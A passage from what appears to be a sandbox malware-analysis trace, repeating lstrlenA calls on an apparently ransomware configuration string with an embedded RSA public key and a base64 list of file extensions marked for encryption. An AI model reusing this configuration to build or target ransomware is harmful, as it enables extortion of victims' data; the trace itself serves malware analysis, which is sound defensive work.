NheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcG